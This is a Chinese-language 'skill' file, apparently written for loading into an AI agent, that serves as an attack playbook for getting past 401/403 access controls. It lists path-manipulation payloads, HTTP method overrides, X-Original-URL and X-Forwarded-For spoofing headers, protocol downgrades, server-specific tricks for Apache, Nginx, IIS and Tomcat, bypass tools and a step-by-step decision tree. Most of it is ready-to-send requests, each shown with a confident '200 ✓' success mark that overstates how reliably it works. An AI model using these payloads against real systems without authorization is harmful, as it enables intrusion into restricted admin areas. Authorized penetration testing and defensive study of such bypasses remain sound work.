401-403-bypass-techniques

技能：401/403 绕过技巧 — 专家攻击手册

AI 加载说明：全面介绍 401/403 禁止访问的绕过技巧。涵盖路径规范化技巧、HTTP 方法覆盖、基于标头的绕过（X-Original-URL、X-Forwarded-For）、协议版本技巧以及组合攻击。基础模型通常只知道 2–3 种标头绕过方法，却遗漏了完整的路径操纵变体和动词 + 路径组合矩阵。

0. 相关路由

• authbypass-authentication-flaws — 更广泛的身份验证绕过（登录漏洞、会话处理）
• waf-bypass-techniques — 绕过针对的是 WAF，而非访问控制时
• http-host-header-attacks — 通过操纵 Host 标头绕过路由
• request-smuggling — 完全绕过访问控制进行请求走私
• http2-specific-attacks — 使用 h2c 走私绕过代理 ACL

---

1. 路径操纵绕过

核心思路：反向代理/WAF 检查一种路径格式，但后端采用不同的规范化方式。

1.1 尾部斜杠 / 缺少斜杠

/admin      → 403
/admin/     → 200  ✓ (trailing slash)
/admin/.    → 200  ✓ (trailing dot)

1.2 大小写敏感性

/admin      → 403
/Admin      → 200  ✓
/ADMIN      → 200  ✓
/aDmIn      → 200  ✓

适用情况：代理规则区分大小写，但后端不区分大小写（Windows/IIS 上很常见）。

1.3 URL 编码

/admin          → 403
/%61dmin        → 200  ✓ (encode 'a')
/admi%6e        → 200  ✓ (encode 'n')
/%61%64%6d%69%6e → 200  ✓ (full encode)

1.4 双重 URL 编码

/admin              → 403
/%2561dmin          → 200  ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f         → 200  ✓
/admin..%252f       → 200  ✓

1.5 Unicode / UTF-8 编码

/admin          → 403
/admi%C0%AE     → 200  ✓ (overlong UTF-8 for '.')
/admi%C0%6E     → 200  ✓ (overlong encoding)
/%C0%AFadmin    → 200  ✓ (overlong '/')

1.6 点号段 / 路径遍历

/admin          → 403
/./admin        → 200  ✓
//admin         → 200  ✓
/admin/./       → 200  ✓
/.//admin       → 200  ✓
/admin..;/      → 200  ✓ (Tomcat path parameter)

1.7 空字节

/admin          → 403
/admin%00       → 200  ✓
/admin%00.json  → 200  ✓
/%00/admin      → 200  ✓

1.8 路径参数注入

/admin          → 403
/admin;foo=bar  → 200  ✓ (Tomcat/Java treats ; as path param)
/admin;         → 200  ✓
/admin;x        → 200  ✓

1.9 尾部特殊字符

/admin%20 (space)  /admin%09 (tab)   /admin? (empty query)
/admin.json        /admin.html       /admin/~

1.10 反斜杠（Windows/IIS）

/admin\    /admin\..\/    \..\admin

1.11 组合路径技巧

///admin///    /./admin/./    /admin/..;/admin (Tomcat)    /%2e/admin

---

2. HTTP 方法绕过

2.1 直接更改方法

GET  /admin → 403
POST /admin → 200  ✓
PUT  /admin → 200  ✓
PATCH /admin → 200  ✓
DELETE /admin → 200  ✓
OPTIONS /admin → 200  ✓ (may leak allowed methods)
TRACE /admin → 200  ✓ (may reflect headers — XST)
HEAD /admin → 200  ✓ (same as GET but no body — confirms access)

2.2 方法覆盖标头

当代理按方法阻止请求，但后端读取覆盖标头时：

GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT

GET /admin HTTP/1.1
X-Method-Override: POST

GET /admin HTTP/1.1
X-HTTP-Method: DELETE

POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT  (in POST body — Rails, Laravel)

2.3 自定义 / 无效方法

FOOBAR /admin HTTP/1.1     → some ACLs only check GET/POST
GETS /admin HTTP/1.1       → typo-like methods may bypass
CONNECT /admin HTTP/1.1    → proxy may tunnel
PROPFIND /admin HTTP/1.1   → WebDAV method
MOVE /admin HTTP/1.1       → WebDAV method

---

3. 基于标头的绕过

3.1 URL 重写标头（Nginx/IIS）

这些标头会告知后端“真实” URL，从而绕过代理层的路径检查：

GET / HTTP/1.1
X-Original-URL: /admin

GET / HTTP/1.1
X-Rewrite-URL: /admin

代理看到的是 GET /（允许），但后端会路由到 /admin。

3.2 IP 欺骗标头（绕过白名单）

可尝试的标头（每个标头的值均可设为 127.0.0.1、10.0.0.1、0.0.0.0、::1）：

X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1

IP 编码变体：0177.0.0.1（八进制）、2130706433（十进制）、0x7f000001（十六进制）、localhost

3.3 其他标头技巧

Referer: https://target.com/admin     # Referrer check bypass
Origin: https://target.com             # Origin check bypass
Host: localhost                         # Host header manipulation
X-Forwarded-Host: localhost            # Forwarded host
Content-Type: application/json         # Content-type switch
X-Requested-With: XMLHttpRequest       # AJAX flag

---

4. 协议版本绕过

# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0

# HTTP/0.9 (extremely legacy — no headers)
GET /admin

# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See ../http2-specific-attacks/SKILL.md for H2-specific bypasses

---

5. 动词篡改 + 路径组合

结合多种技巧以提高成功率：

POST / HTTP/1.1                          # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET

GET /%61dmin HTTP/1.1                    # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1

GET /Admin HTTP/1.0                      # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1

---

6. 特定技术的绕过方法

服务器	关键技巧
Apache	/admin/（尾部斜杠）、/.admin（点号前缀）、/admin%0d（CR）
Nginx	/Admin（大小写）、/admin../（规范化）、X-Original-URL: /admin
IIS/ASP.NET	/admin;.css（路径参数 + 扩展名）、/admin\（反斜杠）、/admin::$DATA（ADS）、/admin%20
Tomcat/Java	/admin;foo（路径参数）、/admin..;/（遍历）、/;/admin（空参数）
Spring	/admin.anything（后缀匹配，较旧版本）、/admin/（尾部斜杠）

---

7. 自动化工具

工具	用途	URL
byp4xx	全面的 403 绕过扫描器	github.com/lobuhi/byp4xx
403bypasser	自动化标头/路径/方法绕过	github.com/sting8k/403bypasser
dirsearch	使用编码变体进行目录暴力枚举	github.com/maurosoria/dirsearch
feroxbuster	递归内容发现	github.com/epi052/feroxbuster
Burp Intruder	用于手动测试的自定义载荷列表	portswigger.net

byp4xx 用法

# Basic usage
./byp4xx.sh https://target.com/admin

# Output shows all attempted bypasses and their response codes
# 200/301/302 responses = potential bypass found

---

8. 决策树

Got 401 or 403 on a path?
│
├── Try PATH MANIPULATION first (highest success rate)
│   ├── /path/      (trailing slash)
│   ├── /PATH       (case change)
│   ├── /path%20    (trailing space)
│   ├── /./path     (dot segment)
│   ├── //path      (double slash)
│   ├── /path;x     (path parameter — Java/Tomcat)
│   ├── /path..;/   (Tomcat specific)
│   ├── /%2e/path   (encoded dot)
│   ├── /path%00    (null byte)
│   ├── /path%23    (encoded hash)
│   └── Result? → 200 = bypass found
│
├── Path tricks failed → Try METHOD BYPASS
│   ├── POST/PUT/PATCH/DELETE/OPTIONS
│   ├── HEAD (same as GET without body)
│   ├── X-HTTP-Method-Override: PUT
│   └── TRACE (may reflect auth headers — XST)
│
├── Method tricks failed → Try HEADER BYPASS
│   ├── X-Original-URL: /path      (Nginx/IIS rewrite)
│   ├── X-Rewrite-URL: /path       (same concept)
│   ├── X-Forwarded-For: 127.0.0.1 (IP whitelist)
│   ├── X-Real-IP: 127.0.0.1
│   ├── True-Client-IP: 127.0.0.1
│   └── Referer: https://target.com/path
│
├── Header tricks failed → Try PROTOCOL BYPASS
│   ├── HTTP/1.0 instead of 1.1
│   ├── HTTP/2 h2c smuggling (../http2-specific-attacks/)
│   └── WebSocket upgrade
│
├── Single techniques failed → Try COMBINATIONS
│   ├── Method + Path: POST /PATH/
│   ├── Header + Path: X-Forwarded-For + /path%20
│   ├── All three: POST + X-Original-URL + IP headers
│   └── Protocol + Path: HTTP/1.0 + encoded path
│
├── All bypasses failed → Consider ALTERNATIVE APPROACHES
│   ├── Request smuggling (../request-smuggling/) → smuggle past ACL
│   ├── SSRF (../ssrf-server-side-request-forgery/) → access from server
│   ├── IDOR (../idor-broken-object-authorization/) → access data directly
│   └── Auth flaws (../authbypass-authentication-flaws/) → login bypass
│
└── Automated scan with byp4xx / 403bypasser for completeness

---

9. 快速参考 — 关键载荷

# Top 10 quick-wins (try these first)
GET /admin/     HTTP/1.1        # trailing slash
GET /Admin      HTTP/1.1        # case change
GET /admin%20   HTTP/1.1        # trailing space
GET /./admin    HTTP/1.1        # dot segment
GET //admin     HTTP/1.1        # double slash
POST /admin     HTTP/1.1        # method change
GET / HTTP/1.1                  # X-Original-URL bypass
X-Original-URL: /admin
GET /admin HTTP/1.1             # IP whitelist bypass
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1        # IIS path param
GET /admin..;/ HTTP/1.1         # Tomcat bypass